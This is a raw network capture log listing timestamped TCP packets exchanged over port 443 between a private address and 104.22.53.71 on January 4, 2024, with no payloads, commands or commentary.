Jan 4, 2024 08:37:17.461359978 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.461365938 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.461410999 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.462181091 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.462208986 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.462239027 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.462244987 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.462272882 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.462294102 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.463046074 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.463069916 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.463104010 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.463109016 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.463139057 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.463190079 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.463845968 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.463862896 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.463918924 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.463922977 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.463965893 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.464524984 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.464545012 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.464581013 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.464586020 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.464612007 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.464629889 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.465209007 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.465224028 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.465275049 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.465280056 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.465313911 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.465857029 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.465878010 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.465926886 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.465934038 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.465976000 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.466675043 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.466698885 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.466731071 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.466736078 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.466758966 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.466784000 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.467474937 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.467490911 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.467547894 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.467555046 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.467586994 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.468362093 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.468378067 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.468460083 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.468466043 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.468498945 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.469212055 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.469232082 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.469286919 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.469291925 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.469330072 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.469993114 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.470009089 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.470056057 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.470062017 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.470113993 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.470778942 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.470793009 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.470854044 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.470860004 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.470905066 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.471463919 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.471489906 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.471527100 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.471532106 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.471654892 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.471654892 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.472172976 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.472194910 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.472242117 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.472248077 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.472269058 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.472289085 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.472908974 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.472924948 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.472980022 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.472985983 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.473023891 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.473803043 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.473819017 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.473866940 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.473872900 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.473922968 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.474623919 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.474639893 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.474705935 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.474711895 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.474771976 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.475430012 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.475444078 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.475497007 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.475505114 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.475543022 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.476330996 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.476347923 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.476397991 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.476402044 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.476439953 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.476979971 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.476995945 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.477049112 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.477056026 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.477097988 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.477883101 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.477900028 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.477962971 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.477968931 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.477998972 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.478015900 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.478734016 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.478750944 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.478801012 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.478806973 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.478852987 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.479528904 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.479543924 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.479595900 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.479600906 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.479641914 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.480171919 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.480187893 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.480252028 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.480256081 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.480319023 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.481003046 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.481038094 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.481070042 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.481076002 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.481098890 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.481117964 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.481724977 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.481741905 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.481798887 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.481803894 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.481842041 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.482747078 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.482778072 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.482815981 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.482820988 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.482848883 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.482872009 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.483406067 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.483423948 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.483480930 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.483486891 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.483524084 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.484189034 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.484204054 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.484261036 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.484266043 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.484317064 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.484877110 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.484900951 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.484952927 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.484957933 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.484963894 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.484992027 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.485630989 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.485646009 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.485704899 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.485712051 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.485760927 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.486367941 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.486382961 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.486439943 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.486443996 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.486478090 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.487195015 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.487215996 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.487263918 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.487268925 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.487323046 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.488243103 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.488259077 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.488337994 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.488343000 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.488385916 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.608788013 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.608807087 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.608903885 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.608912945 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.608954906 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.609563112 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.609585047 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.609638929 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.609643936 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.609709978 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.610222101 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.610240936 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.610289097 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.610294104 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.610311031 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.610316038 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.610337019 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.610341072 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.610361099 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.610367060 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.610399008 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.610405922 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.610467911 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.611000061 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.611016035 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.611068010 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.611073971 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.611125946 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.611809015 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.611840010 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.611869097 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.611872911 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.611900091 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.611922026 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.612190008 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.612215042 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.612245083 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.612248898 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.612261057 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.612282038 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.612288952 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.612309933 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.612313986 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.612341881 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.612370968 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.612927914 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.612961054 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.612994909 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.613004923 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.613013029 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.613039017 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.613686085 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.613713980 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.613744974 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.613749027 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.613780975 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.613795996 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.614404917 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.614419937 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.614470959 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.614476919 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.614516020 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.615117073 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.615130901 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.615185976 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.615190983 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.615248919 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.615890980 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.615904093 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.615959883 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.615964890 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.616023064 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.616611004 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.616626978 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.616677046 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.616683006 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.616745949 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.616993904 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.617010117 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.617058039 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.617063999 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.617111921 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.617119074 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.617132902 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.617173910 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.617180109 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.617254972 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.617831945 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.617851973 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.617901087 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.617906094 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.617955923 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.618748903 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.618774891 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.618813038 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.618818998 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.618843079 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.618870020 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.619247913 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.619268894 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.619309902 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.619316101 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.619343996 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.619364977 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.619368076 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.619374037 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.619441032 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.619623899 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.619630098 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.619677067 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.620065928 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.620096922 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.620127916 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.620131969 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.620158911 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.620179892 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.620954990 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.620970964 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.621022940 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.621027946 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.621068001 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.621690035 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.621704102 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.621771097 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.621776104 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.621820927 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.622302055 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.622354031 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.622376919 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.622380972 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.622419119 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.622443914 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.623042107 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.623055935 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.623116970 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.623122931 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.623161077 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.623183966 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.623213053 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.623226881 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.623270988 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.623275042 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.623281956 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.623310089 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.623605967 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.623621941 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.623682976 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.623687983 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.623723030 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.624330044 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.624353886 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.624402046 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.624407053 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.624424934 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.624459028 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.625122070 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.625137091 CET	443	49706	104.22.53.71	192.168.2.9
